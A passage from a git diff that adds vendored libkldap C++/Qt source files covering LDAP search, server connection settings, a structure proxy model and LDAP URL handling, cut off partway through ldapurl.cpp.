+ delete d; +} + +void LdapSearch::setConnection(LdapConnection &connection) +{ + d->closeConnection(); + d->mOwnConnection = false; + d->mConn = &connection; +} + +void LdapSearch::setClientControls(const LdapControls &ctrls) +{ + d->mOp.setClientControls(ctrls); +} + +void LdapSearch::setServerControls(const LdapControls &ctrls) +{ + d->mOp.setServerControls(ctrls); +} + +bool LdapSearch::search(const LdapServer &server, + const QStringList &attributes, int count) +{ + if (d->mOwnConnection) { + d->closeConnection(); + d->mConn = new LdapConnection(server); + if (!d->connect()) { + return false; + } + } + return d->startSearch(server.baseDn(), server.scope(), server.filter(), + attributes, server.pageSize(), count); +} + +bool LdapSearch::search(const LdapUrl &url, int count) +{ + if (d->mOwnConnection) { + d->closeConnection(); + d->mConn = new LdapConnection(url); + if (!d->connect()) { + return false; + } + } + bool critical = true; + int pagesize = url.extension(QStringLiteral("x-pagesize"), critical).toInt(); + return d->startSearch(url.dn(), url.scope(), url.filter(), + url.attributes(), pagesize, count); +} + +bool LdapSearch::search(const LdapDN &base, LdapUrl::Scope scope, + const QString &filter, const QStringList &attributes, + int pagesize, int count) +{ + Q_ASSERT(!d->mOwnConnection); + return d->startSearch(base, scope, filter, attributes, pagesize, count); +} + +void LdapSearch::continueSearch() +{ + Q_ASSERT(!d->mFinished); + d->mCount = 0; + QTimer::singleShot(0, this, [this]() { d->result(); }); +} + +bool LdapSearch::isFinished() +{ + return d->mFinished; +} + +void LdapSearch::abandon() +{ + d->mAbandoned = true; +} + +int LdapSearch::error() const +{ + return d->mError; +} + +QString LdapSearch::errorString() const +{ + return d->mErrorString; +} + +#include "moc_ldapsearch.cpp" diff --git a/3rdparty/kldap/src/ldapsearch.h b/3rdparty/kldap/src/ldapsearch.h new file mode 100644 index 0000000..13f3b47 --- /dev/null +++ b/3rdparty/kldap/src/ldapsearch.h @@ -0,0 +1,150 @@ +/* + This file is part of libkldap. + Copyright (c) 2004-2006 Szombathelyi György + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#ifndef KLDAP_LDAPSEARCH_H +#define KLDAP_LDAPSEARCH_H + +#include +#include +class LdapSearchPrivate; + +#include "kldap_export.h" + +#include "ldapconnection.h" +#include "ldapcontrol.h" +#include "ldapobject.h" +#include "ldapoperation.h" +#include "ldapserver.h" +#include "ldapurl.h" + +// clazy:excludeall=ctor-missing-parent-argument + +namespace KLDAP +{ + +/** + * @brief + * This class starts a search operation on a LDAP server and returns the + * search values via a Qt signal. + */ +class KLDAP_EXPORT LdapSearch : public QObject +{ + Q_OBJECT + +public: + /** + * Constructs an LdapSearch object + */ + LdapSearch(); + + /** + * Constructs an LdapConnection object with the given connection. If this + * form of constructor used, then always this connection will be used + * regardless of the LDAP Url or LdapServer object passed to search(). + * @param connection the connection used to construct LdapConnection object + */ + explicit LdapSearch(LdapConnection &connection); + + ~LdapSearch(); + + /** + * Sets the connection for this object to use for searches from now + * onwards, regardless of the LDAP Url or LdapServer object passed to + * search(). + */ + void setConnection(LdapConnection &connection); + + /** + * Sets the client controls which will sent with each operation. + */ + void setClientControls(const LdapControls &ctrls); + + /** + * Sets the server controls which will sent with each operation. + */ + void setServerControls(const LdapControls &ctrls); + + /** + * Starts a search operation on the LDAP server @param server, + * returning the attributes specified with @param attributes. + * @param count means how many entries to list. If it's >0, then result() + * will be emitted when the number of entries is reached, but with + * isFinished() set to false. + */ + Q_REQUIRED_RESULT bool search(const LdapServer &server, + const QStringList &attributes = QStringList(), int count = 0); + + /** + * Starts a search operation on the given LDAP URL. + */ + Q_REQUIRED_RESULT bool search(const LdapUrl &url, int count = 0); + + /** + * Starts a search operation if the LdapConnection object already set + * in the constructor. + */ + Q_REQUIRED_RESULT bool search(const LdapDN &base, + LdapUrl::Scope scope = LdapUrl::Sub, + const QString &filter = QString(), + const QStringList &attributes = QStringList(), + int pagesize = 0, int count = 0); + + /** + * Continues the search (if you set count to non-zero in search(), and isFinished() is false) + */ + void continueSearch(); + /** + * Returns true if the search is finished else returns false. + */ + Q_REQUIRED_RESULT bool isFinished(); + /** + * Tries to abandon the search. + */ + void abandon(); + + /** + * Returns the error code of the search operation (0 if no error). + */ + Q_REQUIRED_RESULT int error() const; + + /** + * Returns the error description of the search operation. + */ + Q_REQUIRED_RESULT QString errorString() const; + +Q_SIGNALS: + /** + * Emitted for each result object. + */ + void data(KLDAP::LdapSearch *search, const KLDAP::LdapObject &obj); + + /** + * Emitted when the searching finished. + */ + void result(KLDAP::LdapSearch *search); + +private: + LdapSearchPrivate *const d; + Q_DISABLE_COPY(LdapSearch) +}; + +} + +#endif diff --git a/3rdparty/kldap/src/ldapserver.cpp b/3rdparty/kldap/src/ldapserver.cpp new file mode 100644 index 0000000..4c5d710 --- /dev/null +++ b/3rdparty/kldap/src/ldapserver.cpp @@ -0,0 +1,432 @@ +/* + This file is part of libkldap. + Copyright (c) 2004-2006 Szombathelyi György + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#include "ldapserver.h" + +#include "ldap_debug.h" + +using namespace KLDAP; + +class Q_DECL_HIDDEN LdapServer::LdapServerPrivate +{ +public: + QString mHost; + int mPort; + LdapDN mBaseDn; + QString mUser; + QString mBindDn; + QString mRealm; + QString mPassword; + QString mMech; + QString mFilter; + int mTimeLimit; + int mSizeLimit; + int mVersion; + int mPageSize; + int mTimeout; + Security mSecurity; + Auth mAuth; + QString mTLSCACertFile; + TLSRequireCertificate mTLSRequireCertificate; + LdapUrl::Scope mScope; + int mCompletionWeight = -1; +}; + +LdapServer::LdapServer() + : d(new LdapServerPrivate) +{ + clear(); +} + +LdapServer::LdapServer(const LdapUrl &url) + : d(new LdapServerPrivate) +{ + clear(); + + setUrl(url); +} + +LdapServer::LdapServer(const LdapServer &that) + : d(new LdapServerPrivate) +{ + *d = *that.d; +} + +LdapServer &LdapServer::operator= (const LdapServer &that) +{ + if (this == &that) { + return *this; + } + + *d = *that.d; + + return *this; +} + +LdapServer::~LdapServer() +{ + delete d; +} + +void LdapServer::clear() +{ + d->mPort = 389; + d->mHost.clear(); + d->mUser.clear(); + d->mBindDn.clear(); + d->mMech.clear(); + d->mPassword.clear(); + d->mSecurity = None; + d->mAuth = Anonymous; + d->mTLSRequireCertificate = TLSReqCertDefault; + d->mTLSCACertFile.clear(); + d->mVersion = 3; + d->mTimeout = 0; + d->mSizeLimit = d->mTimeLimit = d->mPageSize = 0; + d->mCompletionWeight = -1; +} + +QString LdapServer::host() const +{ + return d->mHost; +} + +int LdapServer::port() const +{ + return d->mPort; +} + +LdapDN LdapServer::baseDn() const +{ + return d->mBaseDn; +} + +QString LdapServer::user() const +{ + return d->mUser; +} + +QString LdapServer::bindDn() const +{ + return d->mBindDn; +} + +QString LdapServer::realm() const +{ + return d->mRealm; +} + +QString LdapServer::password() const +{ + return d->mPassword; +} + +QString LdapServer::filter() const +{ + return d->mFilter; +} + +LdapUrl::Scope LdapServer::scope() const +{ + return d->mScope; +} + +int LdapServer::timeLimit() const +{ + return d->mTimeLimit; +} + +int LdapServer::sizeLimit() const +{ + return d->mSizeLimit; +} + +int LdapServer::pageSize() const +{ + return d->mPageSize; +} + +int LdapServer::version() const +{ + return d->mVersion; +} + +LdapServer::Security LdapServer::security() const +{ + return d->mSecurity; +} + +LdapServer::Auth LdapServer::auth() const +{ + return d->mAuth; +} + +LdapServer::TLSRequireCertificate LdapServer::tlsRequireCertificate() const +{ + return d->mTLSRequireCertificate; +} + +QString LdapServer::tlsCACertFile() const +{ + return d->mTLSCACertFile; +} + +QString LdapServer::mech() const +{ + return d->mMech; +} + +int LdapServer::timeout() const +{ + return d->mTimeout; +} + +void LdapServer::setHost(const QString &host) +{ + d->mHost = host; +} + +void LdapServer::setPort(int port) +{ + d->mPort = port; +} + +void LdapServer::setBaseDn(const LdapDN &baseDn) +{ + d->mBaseDn = baseDn; +} + +void LdapServer::setUser(const QString &user) +{ + d->mUser = user; +} + +void LdapServer::setBindDn(const QString &bindDn) +{ + d->mBindDn = bindDn; +} + +void LdapServer::setRealm(const QString &realm) +{ + d->mRealm = realm; +} + +void LdapServer::setPassword(const QString &password) +{ + d->mPassword = password; +} + +void LdapServer::setTimeLimit(int timelimit) +{ + d->mTimeLimit = timelimit; +} + +void LdapServer::setSizeLimit(int sizelimit) +{ + d->mSizeLimit = sizelimit; +} + +void LdapServer::setPageSize(int pagesize) +{ + d->mPageSize = pagesize; +} + +void LdapServer::setFilter(const QString &filter) +{ + d->mFilter = filter; +} + +void LdapServer::setScope(LdapUrl::Scope scope) +{ + d->mScope = scope; +} + +void LdapServer::setVersion(int version) +{ + d->mVersion = version; +} + +void LdapServer::setSecurity(Security security) +{ + d->mSecurity = security; +} + +void LdapServer::setAuth(Auth auth) +{ + d->mAuth = auth; +} + +void LdapServer::setTLSRequireCertificate(LdapServer::TLSRequireCertificate reqCert) +{ + d->mTLSRequireCertificate = reqCert; +} + +void LdapServer::setTLSCACertFile(const QString &caCertFile) +{ + d->mTLSCACertFile = caCertFile; +} + +void LdapServer::setMech(const QString &mech) +{ + d->mMech = mech; +} + +void LdapServer::setTimeout(int timeout) +{ + d->mTimeout = timeout; +} + +void LdapServer::setUrl(const LdapUrl &url) +{ + bool critical = true; + + d->mHost = url.host(); + int port = url.port(); + if (port <= 0) { + d->mPort = 389; + } else { + d->mPort = port; + } + d->mBaseDn = url.dn(); + d->mScope = url.scope(); + + d->mFilter = url.filter(); + + d->mSecurity = None; + if (url.scheme() == QLatin1String("ldaps")) { + d->mSecurity = SSL; + } else if (url.hasExtension(QStringLiteral("x-tls"))) { + d->mSecurity = TLS; + } + qCDebug(LDAP_LOG) << "security:" << d->mSecurity; + + d->mMech.clear(); + d->mUser.clear(); + d->mBindDn.clear(); + if (url.hasExtension(QStringLiteral("x-sasl"))) { + d->mAuth = SASL; + if (url.hasExtension(QStringLiteral("x-mech"))) { + d->mMech = url.extension(QStringLiteral("x-mech"), critical); + } + if (url.hasExtension(QStringLiteral("x-realm"))) { + d->mRealm = url.extension(QStringLiteral("x-realm"), critical); + } + if (url.hasExtension(QStringLiteral("bindname"))) { + d->mBindDn = url.extension(QStringLiteral("bindname"), critical); + } + d->mUser = url.userName(); + } else if (url.hasExtension(QStringLiteral("bindname"))) { + d->mAuth = Simple; + d->mBindDn = url.extension(QStringLiteral("bindname"), critical); + } else { + QString user = url.userName(); + if (user.isEmpty()) { + d->mAuth = Anonymous; + } else { + d->mAuth = Simple; + d->mBindDn = user; + } + } + d->mPassword = url.password(); + if (url.hasExtension(QStringLiteral("x-version"))) { + d->mVersion = url.extension(QStringLiteral("x-version"), critical).toInt(); + } else { + d->mVersion = 3; + } + + if (url.hasExtension(QStringLiteral("x-timeout"))) { + d->mTimeout = url.extension(QStringLiteral("x-timeout"), critical).toInt(); + } else { + d->mTimeout = 0; + } + + if (url.hasExtension(QStringLiteral("x-timelimit"))) { + d->mTimeLimit = url.extension(QStringLiteral("x-timelimit"), critical).toInt(); + } else { + d->mTimeLimit = 0; + } + + if (url.hasExtension(QStringLiteral("x-sizelimit"))) { + d->mSizeLimit = url.extension(QStringLiteral("x-sizelimit"), critical).toInt(); + } else { + d->mSizeLimit = 0; + } + + if (url.hasExtension(QStringLiteral("x-pagesize"))) { + d->mPageSize = url.extension(QStringLiteral("x-pagesize"), critical).toInt(); + } else { + d->mPageSize = 0; + } +} + +LdapUrl LdapServer::url() const +{ + LdapUrl url; + url.setScheme(d->mSecurity == SSL ? QStringLiteral("ldaps") : QStringLiteral("ldap")); + url.setPort(d->mPort); + url.setHost(d->mHost); + url.setDn(d->mBaseDn); + url.setFilter(d->mFilter); + url.setScope(d->mScope); + if (d->mAuth == SASL) { + url.setUserName(d->mUser); + url.setPassword(d->mPassword); + url.setExtension(QStringLiteral("bindname"), d->mBindDn, true); + url.setExtension(QStringLiteral("x-sasl"), QString()); + if (!d->mMech.isEmpty()) { + url.setExtension(QStringLiteral("x-mech"), d->mMech); + } + if (!d->mRealm.isEmpty()) { + url.setExtension(QStringLiteral("x-realm"), d->mRealm); + } + } else if (d->mAuth == Simple) { + url.setUserName(d->mBindDn); + url.setPassword(d->mPassword); + } + if (d->mVersion == 2) { + url.setExtension(QStringLiteral("x-version"), d->mVersion); + } + if (d->mTimeout) { + url.setExtension(QStringLiteral("x-timeout"), d->mTimeout); + } + if (d->mTimeLimit != 0) { + url.setExtension(QStringLiteral("x-timelimit"), d->mTimeLimit); + } + if (d->mSizeLimit != 0) { + url.setExtension(QStringLiteral("x-sizelimit"), d->mSizeLimit); + } + if (d->mPageSize != 0) { + url.setExtension(QStringLiteral("x-pagesize"), d->mPageSize); + } + if (d->mSecurity == TLS) { + url.setExtension(QStringLiteral("x-tls"), 1, true); + } + return url; +} + +void LdapServer::setCompletionWeight(int value) +{ + d->mCompletionWeight = value; +} + +int LdapServer::completionWeight() const +{ + return d->mCompletionWeight; +} diff --git a/3rdparty/kldap/src/ldapserver.h b/3rdparty/kldap/src/ldapserver.h new file mode 100644 index 0000000..fd3c9fa --- /dev/null +++ b/3rdparty/kldap/src/ldapserver.h @@ -0,0 +1,334 @@ +/* + This file is part of libkldap. + Copyright (c) 2004-2006 Szombathelyi György + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#ifndef KLDAP_LDAPSERVER_H +#define KLDAP_LDAPSERVER_H + +#include + +#include "ldapurl.h" +#include "ldapdn.h" +#include "kldap_export.h" + +// clazy:excludeall=copyable-polymorphic + +namespace KLDAP +{ + +/** + * @short A class that contains LDAP server connection settings. + * + * This class holds various parameters that are needed to connect + * to an LDAP server. + */ +class KLDAP_EXPORT LdapServer +{ +public: + /** + * Creates an empty LDAP server object. + */ + LdapServer(); + + /** + * Creates a new LDAP server object. + * + * @param url The LDAP url of the server. + */ + LdapServer(const LdapUrl &url); + + /** + * Creates a new LDAP server object from an @p other object. + */ + LdapServer(const LdapServer &other); + + /** + * Overwrites the values of the LDAP server object with + * the values from an @p other object. + */ + LdapServer &operator=(const LdapServer &other); + + /** + * Destroys the LDAP server object. + */ + ~LdapServer(); + + /** + * Describes the encryption settings that can be used + * for the LDAP connection. + */ + typedef enum { + None, ///< Do not use any encryption. + TLS, ///< Use TLS encryption. + SSL ///< Use SSL encryption. + } Security; + + /** + * Describes the authentication method that can be used + * for the LDAP connection. + */ + typedef enum { + Anonymous, ///< Do no authentication. + Simple, ///< Authenticate via login and password. + SASL ///< Azthenticate with the SASL framework. + } Auth; + + /** + * Describes the certificate request and check behaviour + * for TLS/SSL connections. + */ + typedef enum { + TLSReqCertDefault, ///< Use system defaults + TLSReqCertNever, ///< Do not require any certificates. + TLSReqCertDemand, ///< Use LDAP_OPT_X_TLS_DEMAND. + TLSReqCertAllow, ///< Use LDAP_OPT_X_TLS_ALLOW. + TLSReqCertTry, ///< Use LDAP_OPT_X_TLS_TRY. + TLSReqCertHard, ///< Use LDAP_OPT_X_TLS_HARD. + } TLSRequireCertificate; + + /** + * Clears all server settings. + */ + void clear(); + + /** + * Sets the host of the LDAP connection. + */ + void setHost(const QString &host); + + /** + * Returns the host of the LDAP connection. + */ + Q_REQUIRED_RESULT QString host() const; + + /** + * Sets the port of the LDAP connection. + * If not port is set, 389 is used as default. + * @param port the LDAP port connection to set + */ + void setPort(int port); + + /** + * Returns the port of the LDAP connection. + */ + Q_REQUIRED_RESULT int port() const; + + /** + * Sets the @p baseDn of the LDAP connection. + */ + void setBaseDn(const LdapDN &baseDn); + + /** + * Returns the baseDn of the LDAP connection. + */ + Q_REQUIRED_RESULT LdapDN baseDn() const; + + /** + * Sets the @p user of the LDAP connection. + */ + void setUser(const QString &user); + + /** + * Returns the user of the LDAP connection. + */ + Q_REQUIRED_RESULT QString user() const; + + /** + * Sets the @p bindDn of the LDAP connection. + */ + void setBindDn(const QString &bindDn); + + /** + * Returns the bindDn of the LDAP connection. + */ + Q_REQUIRED_RESULT QString bindDn() const; + + /** + * Sets the @p realm of the LDAP connection. + */ + void setRealm(const QString &realm); + + /** + * Returns the realm of the LDAP connection. + */ + Q_REQUIRED_RESULT QString realm() const; + + /** + * Sets the @p password of the LDAP connection. + */ + void setPassword(const QString &password); + + /** + * Returns the password of the LDAP connection. + */ + QString password() const; + + /** + * Sets the protocol @p version of the LDAP connection. + * If no version is set, 3 is used as default. + * @param version the protocol version to set + */ + void setVersion(int version); + + /** + * Returns the protocol version of the LDAP connection. + */ + Q_REQUIRED_RESULT int version() const; + + /** + * Sets the security @p mode of the LDAP connection. + * If no security is set, None is used as default. + * @param mode the security mode to set + */ + void setSecurity(Security mode); + + /** + * Returns the security mode of the LDAP connection. + */ + Q_REQUIRED_RESULT Security security() const; + + /** + * Sets the @p authentication method of the LDAP connection. + * If no authentication method is set, Anonymous is used as default. + * @param authentication the authentication method to set + */ + void setAuth(Auth authentication); + + /** + * Returns the authentication method of the LDAP connection. + */ + Q_REQUIRED_RESULT Auth auth() const; + + /** + * Sets the certificate require mode for TLS/SSL connections + */ + void setTLSRequireCertificate(TLSRequireCertificate reqCert); + + /** + * Returns the certificate require mode for TLS/SSL connections + */ + Q_REQUIRED_RESULT TLSRequireCertificate tlsRequireCertificate() const; + + /** + * Sets the CA certificate file for TLS/SSL connections + */ + void setTLSCACertFile(const QString &caCertFile); + + /** + * Returns the CA certificate file used for TLS/SSL connections. + */ + Q_REQUIRED_RESULT QString tlsCACertFile() const; + + /** + * Sets the @p mech of the LDAP connection. + */ + void setMech(const QString &mech); + + /** + * Returns the mech of the LDAP connection. + */ + Q_REQUIRED_RESULT QString mech() const; + + /** + * Sets the @p timeout of the LDAP connection. + */ + void setTimeout(int timeout); + + /** + * Returns the timeout of the LDAP connection. + */ + Q_REQUIRED_RESULT int timeout() const; + + /** + * Sets the search @p scope of the LDAP connection. + */ + void setScope(LdapUrl::Scope scope); + + /** + * Returns the search scope of the LDAP connection. + */ + Q_REQUIRED_RESULT LdapUrl::Scope scope() const; + + /** + * Sets the time @p limit of the LDAP connection. + */ + void setTimeLimit(int limit); + + /** + * Returns the time limit of the LDAP connection. + */ + Q_REQUIRED_RESULT int timeLimit() const; + + /** + * Sets the size @p limit of the LDAP connection. + */ + void setSizeLimit(int sizelimit); + + /** + * Returns the size limit of the LDAP connection. + */ + Q_REQUIRED_RESULT int sizeLimit() const; + + /** + * Sets the page @p size of the LDAP connection. + */ + void setPageSize(int size); + + /** + * Returns the page size of the LDAP connection. + */ + Q_REQUIRED_RESULT int pageSize() const; + + /** + * Sets the @p filter string of the LDAP connection. + */ + void setFilter(const QString &filter); + + /** + * Returns the filter string of the LDAP connection. + */ + Q_REQUIRED_RESULT QString filter() const; + + /** + * Sets the server parameters from an RFC2255 compliant LDAP @p url. + */ + void setUrl(const LdapUrl &url); + + /** + * Returns the server parameters as an RFC2255 compliant LDAP Url. + * The URL extensions which are supported: + * Standard: bindname + * KLDAP extensions: x-tls, x-version, x-sasl, x-mech, x-realm, + * x-sizelimit, x-timelimit, x-pagesize, x-timeout + */ + Q_REQUIRED_RESULT LdapUrl url() const; + + + void setCompletionWeight(int value); + int completionWeight() const; + + +private: + class LdapServerPrivate; + LdapServerPrivate *const d; +}; + +} + +#endif diff --git a/3rdparty/kldap/src/ldapstructureproxymodel.cpp b/3rdparty/kldap/src/ldapstructureproxymodel.cpp new file mode 100644 index 0000000..3a2c0bf --- /dev/null +++ b/3rdparty/kldap/src/ldapstructureproxymodel.cpp @@ -0,0 +1,156 @@ +/* + This file is part of libkldap. + Copyright (c) 2006 Sean Harmer + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#include "ldapstructureproxymodel.h" +#include "ldapmodel.h" +#include "ldapmodelnode_p.h" + +#include "ldap_debug.h" +#include + +using namespace KLDAP; + +LdapStructureProxyModel::LdapStructureProxyModel(QObject *parent) + : QSortFilterProxyModel(parent) +{ + +} + +LdapStructureProxyModel::~LdapStructureProxyModel() +{ +} + +QVariant LdapStructureProxyModel::data(const QModelIndex &index, + int role) const +{ + // Included just in case we decide to do any special presentation of the data + // at some other point throughout the 4.x series. + return sourceModel()->data(mapToSource(index), role); +} + +bool LdapStructureProxyModel::setData(const QModelIndex &index, + const QVariant &value, + int role) +{ + Q_UNUSED(index); + Q_UNUSED(value); + Q_UNUSED(role); + return false; +} + +bool LdapStructureProxyModel::filterAcceptsRow(int sourceRow, + const QModelIndex &sourceParent) const +{ + QModelIndex idx = sourceModel()->index(sourceRow, 0, sourceParent); + LdapModelNode::NodeType nodeType = + static_cast( + sourceModel()->data(idx, LdapModel::NodeTypeRole).toUInt()); + return nodeType == LdapModelNode::DN; +} + +QVariant LdapStructureProxyModel::headerData(int section, + Qt::Orientation orientation, + int role) const +{ + Q_UNUSED(section); + if (orientation == Qt::Horizontal && role == Qt::DisplayRole) { + return i18n("Distinguished Name"); + } + + return QVariant(); +} + +int LdapStructureProxyModel::columnCount(const QModelIndex &/*parent*/) const +{ + // No need for more than one column just to show the structure + return 1; +} + +Qt::ItemFlags LdapStructureProxyModel::flags(const QModelIndex &index) const +{ + // Included so as not to break BC in case we wish to use this later in 4.x + return sourceModel()->flags(mapToSource(index)); +} + +bool LdapStructureProxyModel::hasChildren(const QModelIndex &parent) const +{ + // We need to handle this carefully bacause of the filtering out of attributes + // and the lazy population approach. + LdapModel *model = static_cast(sourceModel()); + return model->hasChildrenOfType(mapToSource(parent), LdapModel::DistinguishedName); +} + +QModelIndex LdapStructureProxyModel::mapFromSource(const QModelIndex &sourceIndex) const +{ + return QSortFilterProxyModel::mapFromSource(sourceIndex); +} + +QModelIndex LdapStructureProxyModel::mapToSource(const QModelIndex &proxyIndex) const +{ + return QSortFilterProxyModel::mapToSource(proxyIndex); +} + +bool LdapStructureProxyModel::insertRows(int row, int count, + const QModelIndex &parent) +{ + Q_UNUSED(row); + Q_UNUSED(count); + Q_UNUSED(parent); + return false; +} + +bool LdapStructureProxyModel::removeRows(int row, int count, + const QModelIndex &parent) +{ + Q_UNUSED(row); + Q_UNUSED(count); + Q_UNUSED(parent); + return false; +} + +void LdapStructureProxyModel::sort(int column, Qt::SortOrder order) +{ + Q_UNUSED(column); + Q_UNUSED(order); +} + +Qt::DropActions LdapStructureProxyModel::supportedDropActions() const +{ + return Qt::MoveAction; +} + +QMimeData *LdapStructureProxyModel::mimeData(const QModelIndexList &indexes) const +{ + Q_UNUSED(indexes); + return nullptr; +} + +bool LdapStructureProxyModel::dropMimeData(const QMimeData *data, Qt::DropAction action, + int row, int column, const QModelIndex &parent) +{ + /** \todo Implement drag and drop for LdapModel */ + Q_UNUSED(data); + Q_UNUSED(action); + Q_UNUSED(row); + Q_UNUSED(column); + Q_UNUSED(parent); + return false; +} + diff --git a/3rdparty/kldap/src/ldapstructureproxymodel.h b/3rdparty/kldap/src/ldapstructureproxymodel.h new file mode 100644 index 0000000..b2b2563 --- /dev/null +++ b/3rdparty/kldap/src/ldapstructureproxymodel.h @@ -0,0 +1,94 @@ +/* + This file is part of libkldap. + Copyright (c) 2006 Sean Harmer + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#ifndef KLDAP_LDAPSTRUCTUREPROXYMODEL_H +#define KLDAP_LDAPSTRUCTUREPROXYMODEL_H + +#include + +#include "kldap_export.h" + +namespace KLDAP +{ + +class KLDAP_EXPORT LdapStructureProxyModel : public QSortFilterProxyModel +{ + Q_OBJECT +public: + explicit LdapStructureProxyModel(QObject *parent = nullptr); + ~LdapStructureProxyModel() override; + + Q_REQUIRED_RESULT QVariant data(const QModelIndex &index, int role) const override; + /** + * Reimplemented from QAbstractItemModel::setData(). This is a placeholder for when + * LdapStructureProxyModel beomes writeable and always returns false. + */ + Q_REQUIRED_RESULT bool setData(const QModelIndex &index, + const QVariant &value, + int role = Qt::EditRole) override; + Q_REQUIRED_RESULT bool filterAcceptsRow(int sourceRow, const QModelIndex &sourceParent) const override; + Q_REQUIRED_RESULT QVariant headerData(int section, Qt::Orientation orientation, int role) const override; + Q_REQUIRED_RESULT int columnCount(const QModelIndex &parent) const override; + Q_REQUIRED_RESULT Qt::ItemFlags flags(const QModelIndex &index) const override; + Q_REQUIRED_RESULT bool hasChildren(const QModelIndex &parent) const override; + + Q_REQUIRED_RESULT QModelIndex mapFromSource(const QModelIndex &sourceIndex) const override; + Q_REQUIRED_RESULT QModelIndex mapToSource(const QModelIndex &proxyIndex) const override; + + /** + * Reimplemented from QAbstractItemModel::insertRows(). This is a placeholder for when + * LdapStructureProxyModel beomes writeable and always returns false. + */ + Q_REQUIRED_RESULT bool insertRows(int row, int count, + const QModelIndex &parent = QModelIndex()) override; + /** + * Reimplemented from QAbstractItemModel::removeRows(). This is a placeholder for when + * LdapStructureProxyModel beomes writeable and always returns false. + */ + Q_REQUIRED_RESULT bool removeRows(int row, int count, + const QModelIndex &parent = QModelIndex()) override; + /** + * Reimplemented from QAbstractItemModel::removeRows(). The default implementation + * does nothing. + */ + void sort(int column, Qt::SortOrder order = Qt::AscendingOrder) override; + // + // Drag and drop support + // + /** + * Reimplemented from QAbstractItemModel::supportedDropActions(). The default + * implementation returns Qt::MoveAction. + */ + Q_REQUIRED_RESULT Qt::DropActions supportedDropActions() const override; + /** + * Reimplemented from QAbstractItemModel::mimedata(). This is a placeholder for when + * LdapStructureProxyModel beomes writeable and always returns 0. + */ + Q_REQUIRED_RESULT QMimeData *mimeData(const QModelIndexList &indexes) const override; + /** + * Reimplemented from QAbstractItemModel::dropMimedata(). This is a placeholder for when + * LdapStructureProxyModel beomes writeable and always returns false. + */ + Q_REQUIRED_RESULT bool dropMimeData(const QMimeData *data, Qt::DropAction action, + int row, int column, const QModelIndex &parent) override; +}; + +} +#endif diff --git a/3rdparty/kldap/src/ldapurl.cpp b/3rdparty/kldap/src/ldapurl.cpp new file mode 100644 index 0000000..5c64199 --- /dev/null +++ b/3rdparty/kldap/src/ldapurl.cpp @@ -0,0 +1,294 @@ +/* + This file is part of libkldap. + Copyright (c) 2004-2006 Szombathelyi György + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Library General Public + License as published by the Free Software Foundation; either + version 2 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Library General Public License for more details. + + You should have received a copy of the GNU Library General Public License + along with this library; see the file COPYING.LIB. If not, write to + the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, USA. +*/ + +#include "ldapurl.h" + +#include "ldap_debug.h" + +#include + +using namespace KLDAP; + +class Q_DECL_HIDDEN LdapUrl::LdapUrlPrivate +{ +public: + LdapUrlPrivate() + : m_scope(Base) + { + } + + QMap m_extensions; + QStringList m_attributes; + Scope m_scope; + QString m_filter; +}; + +LdapUrl::LdapUrl() + : d(new LdapUrlPrivate) +{ +} + +LdapUrl::LdapUrl(const QUrl &_url) + : QUrl(_url), d(new LdapUrlPrivate) +{ + parseQuery(); +} + +LdapUrl::LdapUrl(const LdapUrl &that) + : QUrl(that), d(new LdapUrlPrivate) +{ + *d = *that.d; +} + +LdapUrl &LdapUrl::operator=(const LdapUrl &that) +{ + if (this == &that) { + return *this; + } + + QUrl::operator=(that); + *d = *that.d; + + return *this; +} + +LdapUrl::~LdapUrl() +{ + delete d; +} + +void LdapUrl::setDn(const LdapDN &dn) +{ + QString tmp = dn.toString(); + if (tmp.startsWith(QLatin1Char('/'))) { + setPath(tmp); + } else { + setPath(QLatin1Char('/') + tmp); 